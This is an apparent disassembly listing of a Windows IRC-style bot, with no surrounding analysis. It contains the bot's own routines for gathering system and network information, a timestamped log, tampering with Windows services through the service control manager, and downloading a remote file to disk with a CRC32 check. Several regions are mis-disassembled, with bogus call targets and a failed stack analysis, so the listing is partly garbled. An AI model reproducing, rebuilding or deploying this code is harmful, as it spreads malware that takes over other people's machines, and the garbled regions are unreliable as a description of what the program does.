loc_408851:				; CODE XREF: sub_4087D6+74j
		test	ecx, ecx
		ja	short loc_408880
		jb	short loc_40885C
		cmp	esi, 26h
		jnb	short loc_408861


loc_40885C:				; CODE XREF: sub_4087D6+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_408861:				; CODE XREF: sub_4087D6+84j
		test	ecx, ecx
		ja	short loc_408880
		jb	short loc_40886C
		cmp	esi, 1Eh
		jnb	short loc_408871


loc_40886C:				; CODE XREF: sub_4087D6+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_408871:				; CODE XREF: sub_4087D6+94j
		test	ecx, ecx
		ja	short loc_408880
		jb	short loc_40887C
		cmp	esi, 0Ah
		jnb	short loc_408880


loc_40887C:				; CODE XREF: sub_4087D6+9Fj
		xor	eax, eax
		xor	edx, edx


loc_408880:				; CODE XREF: sub_4087D6+4Dj
					; sub_4087D6+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4087D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40888C	proc near		; CODE XREF: seg000:0040EC55p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_5053C83D	= byte ptr  5053C845h

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_430AD0
		mov	[ebp+var_CC], 94h
		call	ds:dword_41D000	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_408913
		cmp	[ebp+var_C4], ebx
		jnz	short loc_4088EF
		cmp	[ebp+var_BC], 1
		jnz	short loc_4088D9
		mov	[ebp+var_4], offset a95	; "95"


loc_4088D9:				; CODE XREF: sub_40888C+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40898E
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40895F
; ---------------------------------------------------------------------------


loc_4088EF:				; CODE XREF: sub_40888C+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_408901
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_408956
; ---------------------------------------------------------------------------


loc_408901:				; CODE XREF: sub_40888C+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40894F
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_408956
; ---------------------------------------------------------------------------


loc_408913:				; CODE XREF: sub_40888C+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40894F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40892D
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_408956
; ---------------------------------------------------------------------------


loc_40892D:				; CODE XREF: sub_40888C+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40893F
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_408956
; ---------------------------------------------------------------------------


loc_40893F:				; CODE XREF: sub_40888C+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_408956


loc_40894F:				; CODE XREF: sub_40888C+7Cj
					; sub_40888C+8Ej
		mov	[ebp+var_4], offset dword_423E60


loc_408956:				; CODE XREF: sub_40888C+73j
					; sub_40888C+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40898E


loc_40895F:				; CODE XREF: sub_40888C+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40898E
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_423E58
		push	eax
		call	sub_411963
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40898E:				; CODE XREF: sub_40888C+54j
					; sub_40888C+D1j ...
		mov	ax, ds:word_423E54
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, ds:dword_431D7C
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_4089C7
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C] ; CODE XREF:	sub_40888C+1A4j
		push	ecx
		call	eax ; dword_431D7C


loc_4089C7:				; CODE XREF: sub_40888C+12Cj
		push	[ebp+arg_4]
		call	sub_407F2C
		pop	ecx
		push	eax
		call	ds:dword_431ED0
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_431E48
		cmp	eax, ebx
		jz	short loc_4089F0
		push	dword ptr [eax]
		jmp	short loc_4089F5
; ---------------------------------------------------------------------------


loc_4089F0:				; CODE XREF: sub_40888C+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_4089F5:				; CODE XREF: sub_40888C+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_411963
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 0A70000h
		db	36h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 0A70000h
		jnb	short near ptr loc_4089BE+1
		test	[esi+edi*8+466AFFFFh], esp
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 0A70000h
		jge	short loc_408AB3
		and	[ebp+arg_5053C83D], cl
		call	sub_4119E0
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 0A70000h
		db	65h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_413638
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_409663
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40876D
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax


loc_408AB3:				; CODE XREF: sub_40888C+1BBj
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_407F2C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_409553
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_409553
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4087D6
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_411EDA
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40888C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B40	proc near		; CODE XREF: seg000:0040DE15p
					; seg000:0040EC83p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		cmp	ds:dword_431F78, 0
		jnz	short loc_408BB4
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_431D60
		test	eax, eax
		jnz	short loc_408B95
		lea	eax, [ebp+var_8C]
		push	offset dword_423ED4
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx


loc_408B95:				; CODE XREF: sub_408B40+40j
		test	[ebp+var_C], 1
		jz	short loc_408BAD
		push	offset dword_423ECC


loc_408BA0:				; CODE XREF: sub_408B40+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx
		jmp	short loc_408BD3
; ---------------------------------------------------------------------------


loc_408BAD:				; CODE XREF: sub_408B40+59j
		push	offset dword_423EC8
		jmp	short loc_408BA0
; ---------------------------------------------------------------------------


loc_408BB4:				; CODE XREF: sub_408B40+28j
		mov	esi, offset off_423EC4
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_411963
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_411963
		add	esp, 10h


loc_408BD3:				; CODE XREF: sub_408B40+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_407F2C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_411EDA
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_408B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C06	proc near		; CODE XREF: seg000:0040DD48p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_4362A0
		mov	edi, 0B8h


loc_408C1A:				; CODE XREF: sub_408C06+33j
		cmp	byte ptr [esi],	0
		jz	short loc_408C3D
		push	[ebp+arg_0]
		push	esi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408C3D
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_436E20
		jl	short loc_408C1A
		jmp	short loc_408C7F
; ---------------------------------------------------------------------------


loc_408C3D:				; CODE XREF: sub_408C06+17j
					; sub_408C06+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_4362A0[esi]
		push	ebx
		call	sub_4119E0
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_413150
		push	9Fh
		lea	eax, dword_4362B8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_413150
		add	esp, 24h
		inc	ds:dword_426984
		pop	ebx


loc_408C7F:				; CODE XREF: sub_408C06+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_408C06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C86	proc near		; CODE XREF: seg000:0040EDC1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_423EF0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4362A0


loc_408CB0:				; CODE XREF: sub_408C86+72j
		cmp	byte ptr [esi],	0
		jz	short loc_408CEB
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_423EE4
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_411EDA
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		add	esp, 2Ch


loc_408CEB:				; CODE XREF: sub_408C86+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_436E20
		jl	short loc_408CB0
		pop	edi
		pop	esi
		leave
		retn
sub_408C86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408CFE	proc near		; CODE XREF: start+97p
					; seg000:004013C6p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_41D100	; GetLocalTime
		mov	ebx, offset dword_43625C
		mov	edi, 80h
		mov	esi, offset dword_43225C


loc_408D20:				; CODE XREF: sub_408CFE+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_408D37
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_413150
		add	esp, 0Ch


loc_408D37:				; CODE XREF: sub_408CFE+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_408D20
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_411EDA
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408CFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D72	proc near		; CODE XREF: sub_4063A1+15Bp
					; seg000:004066D8p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41377F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_408CFE
		add	esp, 14h
		leave
		retn
sub_408D72	endp


; =============== S U B	R O U T	I N E =======================================



sub_408D9E	proc near		; CODE XREF: seg000:0040ECB8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43225C
		xor	ecx, ecx


loc_408DA5:				; CODE XREF: sub_408D9E+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43625C
		jl	short loc_408DA5
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_423F24
		jnz	short loc_408DD5
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40F466
		add	esp, 14h


loc_408DD5:				; CODE XREF: sub_408D9E+1Fj
		push	esi
		call	sub_408CFE
		pop	ecx
		pop	esi
		retn
sub_408D9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DDE	proc near		; DATA XREF: seg000:0040ED6Bo

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_408E31
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_423F8C
		push	eax
		push	[ebp+var_11C]
		call	sub_40F466
		add	esp, 14h


loc_408E31:				; CODE XREF: sub_408DDE+33j
		cmp	[ebp+var_98], 0
		jz	short loc_408E51
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_411ECF
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408E51
		mov	[ebp+var_8], eax


loc_408E51:				; CODE XREF: sub_408DDE+5Aj
					; sub_408DDE+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43225C


loc_408E5A:				; CODE XREF: sub_408DDE+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_408EB4
		cmp	byte ptr [esi],	0
		jz	short loc_408EA3
		cmp	[ebp+var_98], 0
		jz	short loc_408E89
		cmp	[ebp+var_4], 0
		jnz	short loc_408E89
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_4078FD
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408EA3


loc_408E89:				; CODE XREF: sub_408DDE+90j
					; sub_408DDE+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40F466
		add	esp, 14h


loc_408EA3:				; CODE XREF: sub_408DDE+87j
					; sub_408DDE+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_43625C
		jl	short loc_408E5A


loc_408EB4:				; CODE XREF: sub_408DDE+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_423F5C
		push	eax
		call	sub_411963
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_408EEE
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40F466
		add	esp, 14h


loc_408EEE:				; CODE XREF: sub_408DDE+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_408CFE
		push	[ebp+var_18]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		cmp	[edi+5Eh], bl
sub_408DDE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F0D	proc near		; CODE XREF: seg000:00407BEEp
					; seg000:00409D0Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_423FB0
		xor	esi, esi
		mov	ebx, offset dword_4243F8


loc_408F20:				; CODE XREF: sub_408F0D+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	ds:dword_431E44
		cmp	[ebp+arg_0], esi
		jz	short loc_408F5A
		push	[ebp+arg_0]
		call	sub_411FB0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_431EB4
		jmp	short loc_408F64
; ---------------------------------------------------------------------------


loc_408F5A:				; CODE XREF: sub_408F0D+2Fj
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_431DFC


loc_408F64:				; CODE XREF: sub_408F0D+4Bj
		push	[ebp+var_4]
		call	ds:dword_431E6C
		add	edi, 8
		cmp	edi, offset unk_423FC8
		jl	short loc_408F20
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408F0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F7D	proc near		; CODE XREF: sub_408FB8+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_408FB2
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_408F96:				; CODE XREF: sub_408F7D+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_41D254[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_408F96
		pop	edi
		pop	ebx


loc_408FB2:				; CODE XREF: sub_408F7D+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_408F7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_408FB8	proc near		; CODE XREF: sub_40902A+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41205F
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_412F9E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_409007


loc_408FDD:				; CODE XREF: sub_408FB8+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40900B
		inc	ebx
		push	ebx
		push	esi
		call	sub_4137CF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409007
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_412E96
		add	esp, 10h
		jmp	short loc_408FDD
; ---------------------------------------------------------------------------


loc_409007:				; CODE XREF: sub_408FB8+23j
					; sub_408FB8+39j
		xor	eax, eax
		jmp	short loc_409026
; ---------------------------------------------------------------------------


loc_40900B:				; CODE XREF: sub_408FB8+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_408F7D
		push	esi
		mov	ebx, eax
		call	sub_4120D3
		push	edi
		call	sub_412E40
		add	esp, 10h
		mov	eax, ebx


loc_409026:				; CODE XREF: sub_408FB8+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_408FB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40902A	proc near		; DATA XREF: seg000:0040D16Do

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	ds:dword_431E40
		call	ds:dword_431DA0
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_4094B6
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	ds:dword_41D070	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_4090F1
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_424240
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4090D4
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40F466
		add	esp, 14h


loc_4090D4:				; CODE XREF: sub_40902A+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_408CFE
		push	[ebp+var_48]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		pop	ecx


loc_4090F1:				; CODE XREF: sub_40902A+68j
		xor	edi, edi
		call	ds:dword_41D044	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_41205F
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40910B:				; CODE XREF: sub_40902A+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	ds:dword_431DA8
		cmp	[ebp+var_34], esi
		jz	short loc_40914F
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	near ptr loc_40951B+1
		pop	ecx
		pop	ecx


loc_40914F:				; CODE XREF: sub_40902A+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	near ptr 0A70000h
		push	edx
		cmp	edi, ebx
		jnb	short loc_40918D
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_409177
		mov	eax, [ebp+arg_0]


loc_409177:				; CODE XREF: sub_40902A+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_411A40
		add	esp, 0Ch


loc_40918D:				; CODE XREF: sub_40902A+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40919A
		cmp	edi, [ebp+var_3C]
		ja	short loc_4091E4


loc_40919A:				; CODE XREF: sub_40902A+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_4091B4
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_4241F4
		jmp	short loc_4091C4
; ---------------------------------------------------------------------------


loc_4091B4:				; CODE XREF: sub_40902A+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_4241B0


loc_4091C4:				; CODE XREF: sub_40902A+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_436E20
		push	eax
		call	sub_411963
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40910B


loc_4091E4:				; CODE XREF: sub_40902A+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_409239
		cmp	edi, [ebp+var_3C]
		jz	short loc_409239
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_424168
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40F466
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_408CFE
		add	esp, 28h


loc_409239:				; CODE XREF: sub_40902A+1C4j
					; sub_40902A+1C9j
		call	ds:dword_41D044	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_41D068	; CloseHandle
		push	[ebp+var_1C]
		call	sub_4120D3
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_4092C3
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_408FB8
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_4092C3
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42412C
		push	eax
		call	sub_411963
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40F466
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_408CFE
		add	esp, 28h


loc_4092C3:				; CODE XREF: sub_40902A+241j
					; sub_40902A+253j
		cmp	[ebp+var_14], esi
		jz	loc_409503
		cmp	[ebp+var_44], 1
		jz	loc_4093BE
		mov	dword ptr [ebp+var_8], ebx
